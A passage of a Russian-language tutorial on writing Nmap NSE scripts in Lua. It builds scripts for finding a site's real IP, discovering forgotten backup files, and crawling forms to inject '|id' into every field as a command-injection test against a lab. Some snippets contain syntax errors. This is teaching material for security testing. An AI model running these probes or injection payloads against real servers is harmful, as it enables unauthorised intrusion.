local identd = nmap.get_port_state(host, auth_port)
return identd ~= nil
and identd.state == "open"
and port.protocol == "tcp"
and port.state == "open"
end
В любом случае, по сути, правило это “true” или “false”. Даже если portrule содержит в себе функцию, она будет выполнена и на выходе останется только чистая логика. Соответственно, исходя из состояния переменной “portrule”, Nmap запустит функцию “action” или не запустит.
Что касается остальных тезисов, открывших этот подраздел… Nmap работает с портом. Чтобы мы не пытались сделать, вся суть сводится к отправке каких-то полезных данных на конкретный порт и получению ответа. Даже если мы будем искать SQLi через Nmap, мы отправим http-запрос на порт ассоциированный с сервисом обрабатывающим HTTP. Полученный на выходе результат, мы отдаем обратно Nmap и он выводит его, привязав его к порту.
hostrule
Не упомянуть о правилах связанных с хостом, было бы неправильно. Наравне с portrule, переменная hostrule может разрешить или запретить работать с конкретным хостом. Если мы не указываем эту переменную, nmap считает её true и, соответственно, хост разрешенным к работе. Так как я не затрагиваю в статье это правило, просто приведу несколько примеров из дефолтных скриптов nmap:
Код:
---
-- This script will run for any non-private IP address.
hostrule = function( host )
return not ipOps.isPrivate( host.ip )
end
hostrule = function(host)
return host.registry.datetime_skew and #host.registry.datetime_skew > 0
end
Вот интересный пример из обхода файервола. Интересен он тем, что проверяет права с которыми запущен nmap. Если мы не привилегированный пользователь (root или sudo), мы идем нафиг:
Код:
hostrule = function(host)
helper = stdnse.get_script_args(SCRIPT_NAME .. ".helper")
if not nmap.is_privileged() then
nmap.registry[SCRIPT_NAME] = nmap.registry[SCRIPT_NAME] or {}
if not nmap.registry[SCRIPT_NAME].rootfail then
stdnse.verbose1("lacks privileges." )
nmap.registry[SCRIPT_NAME].rootfail = true
end
return false
end
if not host.interface then
return false
end
if helper and not helpers[helper] then
stdnse.debug1("%s helper not supported at the moment.", helper)
return false
end
return true
end
The Action
Как понятно из названия, это основное действие, которое запустит Nmap, если позволяет правило. По факту, мы присваиваем глобальной переменной “action” функцию, которая принимает два параметра: host и port. На выходе мы должны отдать то, что хотим показать пользователю. Если показывать нечего, то и функция должна вернуть пустоту.Для примера напишу простой скрипт, который будет просто выводить бессмысленную надпись если на порту работает HTTP-сервер:
Код:
--The Head
local shortport = require "shortport"
discription = [[
Test NSE
]]
---
-- @usage
-- nmap <target> --script=test
--
-- @output
-- 80/tcp open http
-- | Halabula:
-- |_ result: values...
---
author = "petrihn1998"
categories = {"safe"}
--The Rule
portrule = shortport.http
--The Action
action = function(host, port)
local test_output = '101'
return test_output
end
Для определения, надо ли выполнять скрипт, будет использоваться функция http. Что она делает, в целом понятно из названия — определяет, отвечает ли нам веб-сервер. Если есть, то просто выводим “101”, вернув эту строку в функции action. Выполню два запуска с разными портами:
Поздравляю! Первый скрипт написан и прекрасно работает. Но что если на выходе должна быть не одна строка, а набор данных? Поправим скрипт, заодно познакомимся с библиотекой http. Импортируем её и перепишем экшен:
Код:
...
local http = require "http"
...
action = function(host, port)
local path = '/'
local response = http.get(host, port, path)
return response.rawheader
end
Мы просто выполнили обычный GET-запрос при помощи библиотеки http. Обратно вернули полученные заголовки. rawheader - это просто пронумерованный список заголовков в том порядке и виде, в котором его вернул сервер. Альтернативой rawheader, выступает header. Разница в том, что header это ассоциативный массив. Соответственно, если мы ищем какой-то специфичный заголовок, удобнее использовать ассоциативный массив и функцию чека наподобие такой:
Код:
function tableHasKey(table,key)
return table[key] ~= nil
end
Судя по всему, раньше action должна была возвращать именно строку. Чтобы вернуть результат в виде таблицы (массива значений) использовалась функция format_output библиотеки stdnse. Эта функция помечена, как deprecated и можно просто возвращать таблицу. Nmap научился прекрасно справляться с разными форматами вывода. Но, если вы используете format_output, то ничего страшного не произойдет, все прекрасно отработает. Значит, хоть на каком-то уровне есть обратная совместимость. Если вам попался какой-то древний скрипт, высока вероятность, что он запустится.
Код:
...
local stdnse = require "stdnse"
...
action = function(host, port)
local path = '/'
local response = http.get(host, port, path)
return stdnse.format_output(true, response.rawheader)
end
Рекомендую покопаться в описании к библиотеке. Вот пример, если мы хотим следить за статусом http-ответа:
Код:
if response.status ~= 200 then
return response.status
end
Как видно из кода выше, никаких неожиданностей в http-запросе нет. Не сложнее, чем работать с response в Python или fetch в Javascript. Но что, если нам нужно сделать что-то специфическое? Например, указать собственный заголовок. Для этого, у http.get() есть четвертый параметр “options”. В нем можно просто передать таблицу с параметрами. Например, можно ограничить таймаут, отключить редиректы или указать хидер:
Код:
action = function(host, port)
local path = '/'
local options = {header={X-Forwarded-For='127.0.0.1'}, timeout=5000}
local response = http.get(host, port, path, options)
return response
end
Как видно, ничего сложного. Кстати, обратили внимание, что в последнем примере я вернул полностью объект “response” и nmap его прекрасно распечатал?
Прежде чем идти дальше, предлагаю подробнее взглянуть на переменные host и port, так как они представляют собой не просто значения, а структурированные данные. Для вывода информации у NSE есть специальные возможности, но раз nmap спокойно распечатывает всю информацию, почему бы не поступить просто и тупо не вернуть переменные в виде результата action?
Это информация о хосте, которую отдает nmap в функцию. А это уже port:
Для сравнения, вывод если использовать не ip, а hostname:
Поиск реального IP
Те, кто следит за моими статьями, уже видели реализацию через расширение для браузера. Фишка этой задачи в том, что она достаточно удобна для обучения. При всей тривиальности, она позволит понять нам как работает Nmap в целом.Снова скажем спасибо c0d3x за отличную инструкцию и начнем реализовывать её часть. Часть по той причине, что у меня нет адекватного способа автоматически получить все необходимые данные. Нам нужно вытащить историю IP-адресов, отсеять всякие клоудфлары, получить подсети и просканировать их. Рационально, в полностью автоматиеском режиме, мы можем выполнить только последнюю часть.
Как вариант, можно было бы заморочиться и прикрутить работу с сервисами через API. Но тогда, нам пришлось бы вступить в конфликт с многопоточностью nmap. У nmap свой механизм управления параллельными потоками. Если он может наращивать их, он их наращивает. В какой-то момент, если начинаются проблемы с получением ответов, nmap сокращает эти потоки. И тут мы пытаемся впихнуть свой функционал, который предполагает предварительное получение данных и продолжительную последующую работу с полученными подсетями. Да, в библиотеке stdnse есть метод для создания новых потоков (new_thread), но все же его стоит применять не в таких масштабах.
Nmap прекрасно работает с подсетями, поэтому составит свои списки IP-адресов, после его каждый IP проверит на соответствие portrule и передаст на чек в action нашего NSE-скрипта.
Поэтому, принцип работы будет такой:
- Пользователь добывает данные по подсетям и сохраняет в файл
- Запускает nmap, указав наш скрип и аргументы скрипта: хост и искомый текст
- Скрипт чекает хост, если успех возвращает информацию о результате запроса
При этом подходе, обработка каждого отдельного IP вписывается в общий механизм работы Nmap и не нарушает никакой логики.
Для начала вспомним, как запускать Nmap с NSE-скриптами и передавать в него аргументы. Для этого есть два варианта: прописать аргументы строкой или передать их в файле. Пример передачи параметров через строку:
Код:
nmap portswigger.net -p80 --script=get-real-ip --script-args="host=portswigger.net, search_text=Best-in-class software and learning for"
Пример файла с аргументами:
Код:
host=portswigger.net
search_text=Best-in-class software and learning for
Запуск nmap с указанием файла с аргументами скрипта:
Код:
nmap portswigger.net -p80 --script=get-real-ip --script-args-file /home/user/ip.info.txt
Начнем с импортов. Базово скрипт очень похож на то, что писали выше, когда выполняли http.get(). Но потребуется еще две библиотеки.
Код:
local shortport = require "shortport"
local nmap = require "nmap"
local http = require "http"
local string = require "string"
Nmap поможет получить переданные скрипту аргументы. Не важно каким способом это сделано, строкой или через файл. В библиотеке string, как понятно из названия, все необходимое для работы со строками. В нашем случае, потребуется метод match для поиска вхождения подстроки в полученном ответе.
Код:
action = function (host, port)
local hostname = nmap.registry.args.host
local search_text = nmap.registry.args.search_text
if type(hostname) ~= "string" then return "Invalid host" end
if type(search_text) ~= "string" then return "Invalid search text" end
local path = "/"
local options = {header = {Host = hostname}, timeout=5000}
local response = http.get(host, port, path, options)
if response.status ~= 200 then
return response["status-line"]
end
if string.match(response.rawbody, search_text) then
return "Correct IP and port. Searched text found"
else
return "Potencial correct IP and port. Searched text NOT found"
end
end
В данном случае, мы не заморачиваемся по поводу SSL и прочих нюансов. Нам даже не придется делать отдельных запросов для http и https. Мы даже можем не указывать конкретные порты, а использовать “-p-”, тогда сможем найти сервер на каком бы порте не висел web-сервер. Главное, чтобы nmap смог понять, что мы имеем дело с вебом.
Попробуем запустить и посмотреть на результат:
Работает. Ура) Можно спокойно подгрузить список подсетей, дать имя хоста и искомый текст, после чего получить расклад по всем айпи входящим в диапазоны.
Не обязательно реализовывать работу через http. Можно пойти другим путем, используя библиотеку comm и её функции opencon() и exchange(). Эти функции позволяют открыть соединение и отправить данные.
Information disclosure vulnerabilities
Напишем скрипт, который ищет чувствительные файлы на сервере. Обожаю эту уязвимость, которая встречалась, встречается и будет встречаться. Забытые архивы, конфиги, дубликаты php-файлов с неинтерпретируемыми расширениями php.old, .ph_ и т.п.Суть задачи очень похожа на предыдущую. Нужно выполнить запрос, указав вместо пути потенциально интересное название файла. Но помимо этого, мы поработаем с файлами и еще некоторыми полезными моментами.
Код:
local stdnse = require "stdnse"
local io = require "io"
local http = require "http"
local shortport = require "shortport"
local string = require "string"
local table = require "table"
description = [[
Finde forgotten and backup files.
]]
author = "petrihn1988@xss.pro"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"discovery"}
portrule = shortport.http
action = function(host, port)
local output = stdnse.output_table()
local wordlist,hostname,size = stdnse.get_script_args("w","host","bytes")
local f = io.open(wordlist, "r")
if (not(f)) then
return "Wrong wordlist file"
end
found = {}
while true do
local line = f:read("*l")
if (not(line)) then break end
line = string.gsub(line, '%c', '')
local path = "/" .. line
stdnse.debug1("Path %s ", path)
if (not(size)) then size = 1024 end
local options = {header = {Range="bytes=0-" .. tostring(size)}}
if hostname ~= nil then
options.header.host = hostname
end
local response = http.get(host, port, path, options)
if response.status == 206 then
table.insert(found, string.format("Found file: %s Status: %d Content-Type: %s Length: %d", line, response.status), response.header['content-type'], #response.rawbody)
end
end
f:close()
stdnse.debug1("Found files count %d ", #found)
if #found == 0 then
return "Sorry... Forgotten files not found"
end
output['Found forgotten files'] = found
return output
end
Первое новшество, это то как я получаю аргументы скрипта. Если раньше это было:
Код:
local hostname = nmap.registry.args.host
В этот раз использовал:
Код:
local wordlist = stdnse.get_script_args("w")
Данный способ особенно хорош, когда нужно получить много параметров с множественным присваиванием:
Код:
local wordlist,piska,popa,haker = stdnse.get_script_args("w","param2","param3", "1337")
Работа с файлами очень похожа на работу с файлами в Python или куче других языков программирования.
local f = io.open(wordlist, "r")
...
local line = f:read("*l")
...
f:close()
Открыли файл для чтения, далее в цикле читаем его построчно. Есть альтернатива, можно вместо “*l” указать “*a” и прочитать сразу весь файл. Кстати, можно использовать конкретное количество строк, а также полные названия литералов “*line” и “*all”. Подробнее можно почитать в справке по io Lua.
Что касается двоеточия, это способ вызывать методы класса. Когда мы открыли файл, в f получили объект файла. Раз f это объект, значит с ним нужно работать как с объектом. Я не затрагивал работу с классами, так как не вижу смысла в рамках статьи погружаться в ООП Lua. Мы задеваем его по минимуму. Просто для примера приведу код, который создает класс Parallelogram:
Код:
Parallelogram = {a = 0, b = 0, angel = 0}
function Parallelogram:new(obj)
obj.parent = self
return obj
end
p = Parallelogram:new{10,20, 45}
Вернемся к нашему коду. Еще одно “новшество”, вместо конструкции “~= nil”, использовал другой тип проверки на отсутствие значения:
Код:
if (not(line)) then break end
Функция gsub библиотеки string, заменяет значение в строке. Нам это нужно для того, чтобы избавиться от “\x0D”. При чтении из файла, мы получаем строки вместе со специальными символами. В искомых параметрах указано ‘%c’, что означает любой спецсимвол. Подобные текстовые шаблоны можно посмотреть здесь
Код:
line = string.gsub(line, '%c', '')
Для демонстрации оставил в коде вывод информации в дебагер
Код:
stdnse.debug1("Path %s ", path)
Чтобы информация начала выводиться, nmap нужно запустить с параметром “-d”:
Осталось выполнить запрос и обработать ответ:
Код:
if (not(size)) then size = 1024 end
local options = {header = {Range="bytes=0-" .. tostring(size)}}
if hostname ~= nil then
options.header.host = hostname
end
local response = http.get(host, port, path, options)
if response.status == 206 then
table.insert(found, string.format("Found file: %s Status: %d Content-Type: %s Length: %d", line, response.status), response.header['content-type'], #response.rawbody)
end
Мы получаем 1024 байта. Этого более чем достаточно, чтобы понять, то ли получили или не то. Если нам отдали какой-то файл, мы получим статус 206 (часть контента). Любой другой статус нам не интересен. Что это за архив размером менее килобайта?
Вывод информации выполнен через string.format. Вывожу информацию не только о коде ответа, но и тип контента. Если мы ищем архив, нам подойдет достаточно ограниченный набор вариантов. Соответственно, на этапе проверки результатов можем выбрать только подходящие нам. Тоже с длинной ответа.
Ищем Command Injection
Поработаем немного с лабами, чтобы как-то разнообразить наши примеры и охватить, как можно большее количество нужных технологий. В данном случае, будем работать с этой лабой.Все, что нам нужно, это перехватить POST-запрос и добавить к переменной команду через “|” для объединения команд. Сервер выполнит “stockreport.sh” и нашу команду. Но есть нюанс… если Burp позволяет нам перехватить запрос, то у nmap нет такого функционала. Соответственно, нужно найти все формы отправляющие POST-запросы, распарсить их и выполнить запросы доступными nmap методами. Если точнее, то через тот же http.get(). После остается только чекнуть ответ и вывести инфу об уязвимости, если она есть.Нас интересует эта форма:
Что приятно, форма четко описана. Есть метод, кнопка представляет собой кнопку с типом “submit”, элементы ввода тоже в порядке. Но как добраться до формы в боевых условиях? Познакомимся с пауком. Для этого потребуется подключить библиотеку "httpspider". Напишем простой сборщик форм. Наш паук должен обойти все доступные ссылки в рамках хоста и получить формы.
Код:
local http = require "http"
local httpspider = require "httpspider"
local shortport = require "shortport"
local stdnse = require "stdnse"
local table = require "table"
description = [[
Command Injection test
]]
author = "petrihn1986"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"discovery"}
portrule = shortport.port_or_service({80, 443}, {"http","https"})
action = function(host, port)
local crawler = httpspider.Crawler:new(host, port, "/", {scriptname = SCRIPT_NAME})
crawler:set_timeout(5000)
local result = stdnse.output_table()
result['Founded forms'] = {}
while(true) do
local status, response = crawler:crawl()
if (not (status)) then
if (response.err) then
return stdnse.format_output(false, response.reason)
else
break
end
end
table.insert(result['Founded forms'], response.url)
if response.response and response.response.body and response.response.status == 200 then
-- Parse forms
end
end
return result
end
Это базовая структура нашего скрипта. В данном случае, для определения portrule использую port_or_service. Нас интересует, либо порты 80 и 443, либо сервис связанный с htps или https.
Код:
local crawler = httpspider.Crawler:new(host, port, "/", {scriptname = SCRIPT_NAME})
crawler:set_timeout(5000)
Сначала нужно создать объект паука и задать свойства. Стандартно для nmap, передаем хост, порт и путь. Из нового, константа SCRIPT_NAME. Хотя, учитывая особенности Lua, это скорее предопределенная переменная, а не константа.
Когда паук готов, запускаем бесконечный цикл. Каждую итерацию, выполняем запрос методом crawl(). Далее проверяем ответ. Если все плохо, выходим. Если все хорошо, у нас есть ответ, у ответа есть тело и статус ответа 200, значит у нас есть все необходимое для поиска форм. Сделаем тестовый запуск и посмотрим, какие пути соберет паук
Супер! Можно переходить к парсингу форм. Что приятно, процесс получения форм очень даже простой:
Код:
if response.response and response.response.body and response.response.status == 200 then
local all_forms = http.grab_forms(response.response.body)
for _,form_obj in pairs(all_forms) do
local form = http.parse_form(form_obj)
local form_path = response.url.path
local form_to_insert = {form = form, path = form_path}
table.insert(result['Founded forms'], form_to_insert)
end
end
При помощи grab_forms() получаем все формы на полученной странице. После обходим каждую форму в отдельности и парсим отдельные элементы формы На выходе у нас очень крутой объект:
Когда я впервые увидел этот объект, я безумно обрадовался. Осталось только сформировать из этих данных запрос, выполнить его и проанализировать ответ. Но разве может все пойти идеально? Конечно нет! Tсли внимательно присмотреться, становится видна проблема…
Парсер форм тупо не увидел селекта и доступных значений. Попытка выполнить запрос без указания переменной, приведет к следующей ошибке:
Нужно написать свой хук, который чекнет наличие в форме select, проверит его отсутствие в распаршенных полях и добавит недостающие. grab_forms дал нам строку, содержащую в себе html-код формы. Нужно просто вычленить из нее часть относящуюся к селекту и распарсить её.
Код:
local selects_html = form_html:match("<select.*select>")
На выходе получаем ожидаемый текст:
HTML:
<select name="storeId">
<option value="1" >London</option>
<option value="2" >Paris</option>
<option value="3" >Milan</option>
</select>
Нам нужно вытащить имя и значения опций. Нужно написать подходящие шаблоны для матча. Вообще, шаблонам можно посвятить отдельную строку. Это некий аналог регулярных выражений в Lua, который имеет свою логику. Статьи отдельной не получится, так как я далеко не разобрался с шаблонами. Исключительно путем безумных стараний пришел вот к такому способу вычленить name:
local select_name = selects_html:match('name=[\'"](%w+)[\'"]')
Значение опций вытащим точно таким же способом, но при помощи бесконечного цикла. По хорошему и поиск селектов должен быть в цикле, ведь их может быть несколько внутри формы. Ном мы ведь учимся. Пример кода я даю, можете его экстраполировать и допилить инструмент:
Код:
while(true) do
local option_id = selects_html:match('value=[\'"](%w+)[\'"]', pos)
if (not(option_id)) then break end
table.insert(values, option_id)
_, pos = selects_html:find('value=[\'"](%w+)[\'"]', pos)
if (not(pos)) then break end
end
Кстати, по хорошему, в библиотеке http есть функция get_attr(), которая должна была нас спасти от написания собственных шаблонов. Но что-то снова пошло не так, функция категорически отказалась делать то, что мне нужно. Возможно, из-за этой же проблемы пришлось писать весь этот код расширяющий объект с полями формы… ведь по какой-то причине стандартный парсер форм не увидел селект.
Полный код функции парсинга выглядит следующим образом:
Код:
function parse_html_form(form_html)
local form = http.parse_form(form_html)
local patt = http.tag_pattern("select", true)
local selects_html = form_html:match("<select.*select>")
local select_name = selects_html:match('name=[\'"](%w+)[\'"]')
local _,pos = 0,0
local values = {}
while(true) do
local option_id = selects_html:match('value=[\'"](%w+)[\'"]', pos)
if (not(option_id)) then break end
table.insert(values, option_id)
_, pos = selects_html:find('value=[\'"](%w+)[\'"]', pos)
if (not(pos)) then break end
end
table.insert(form["fields"], {name=select_name, type='select', values=values, value=values[1]})
return form
end
При помощи нашей функции, мы расширили объект с полями, добавив в него недостающие селекты. При этом, установив значение в первое возможное. Самое время переходить к проверке уязвимости. Для этого написал еще одну функцию:
Код:
function check_form_ci(form, host, port, path)
local vulnerable_fields = {}
for _, test_field in pairs(form["fields"]) do
local data = {}
for _,field in pairs(form["fields"]) do
if field["name"] == test_field["name"] then
data[field["name"]] = field["value"] .. '|id'
else
data[field["name"]] = field["value"]
end
end
local response = http.post(host, port, form["action"], nil, nil, data)
if response and response.body then
if response.body:match('uid=%d+.*gid=%d+.*groups=%d+') then
table.insert(vulnerable_fields, 'Vulnerability field ' .. test_field["name"] .. ' Path: ' .. path)
end
end
end
return vulnerable_fields
end
Циклом проходим по всем полям. Каждую итерацию формируем запрос, после чекаем результат на интересующую нас строку. Как тестовую команду выбрал “id”, так как её вывод шаблонный и предсказуемый. Можно было бы взять, например, “ls”. Но тогда пришлось бы делать предзапрос, который был бы эталоном длины ответа и сравнивать с ним результаты отправки пэйлоада. В этом случае, даже если сервер возвращал бы нам сообщение об ошибке (спалил нас), у нас все равно была бы полезная для пользователя информация и это уже было бы продвижение в проникновении.
Осталось внести небольшие изменения в главный цикл и все готово:
Код:
if response.response and response.response.body and response.response.status == 200 then
local all_forms = http.grab_forms(response.response.body)
for _,form_html in pairs(all_forms) do
local form = parse_html_form(form_html)
local result_check = check_form_ci(form, host, port, response.url.path)
table.insert(result['Founded'], result_check)
end
end
Да, вывод дублируется, так как каждая карточка товара для nmap есть отдельная форма. Это можно исправить, добавив проверку на существование вхождения.
Про библиотеки
Сами библиотеки лежат в "/usr/share/nmap/nselib”. Так как они написаны на Lua, их код открыт. Это к тому, что всегда можно посмотреть как оно работает. Зачастую, может быть непонятно описание той или иной функции, принимаемых аргументов или то, как будет выглядеть результат.
Если вы внимательно посмотрите на использованные нами библиотеки и список выше, вы заметите одну странную деталь - некоторых библиотек нет в списке выше. Если точнее: string, io, table. Все дело в том, что это стандартные библиотеки Lua. Учитывая, что он встроен в nmap, нам нужно прямо указать на необходимость использовать их.
Заключение
Давно уже хотел написать несколько своих скриптов под Nmap. Оказалось, что эта задача не такая уж и сложная. Язык Lua имеет свои особенности, которые еще предстоит понять. Но в целом, чтобы начать писать свои NSE не нужно чего-то сверхъестественного. Главное запомнить структуру скрипта: The Head, The Rules, The Actions. Тем более, статья должна бы сэкономить вам от нескольких дней до недели времени.Возможности Nmap действительно широки. Плюсом идет большое количество уже готовых скриптов, в которых можно найти большое количество примеров использования разных функций. В моменты, когда мне непонятно было как использовать какую-то функцию, я просто производил поиск текста по файлам среди готовых NSE.
Надеюсь статья была полезна. Я принципиально оставил всю хронологию собственного погружения в Lua и NSE. Следующую статью планирую по написанию своих скриптов для Metasploit.
Вложения
Последнее редактирование: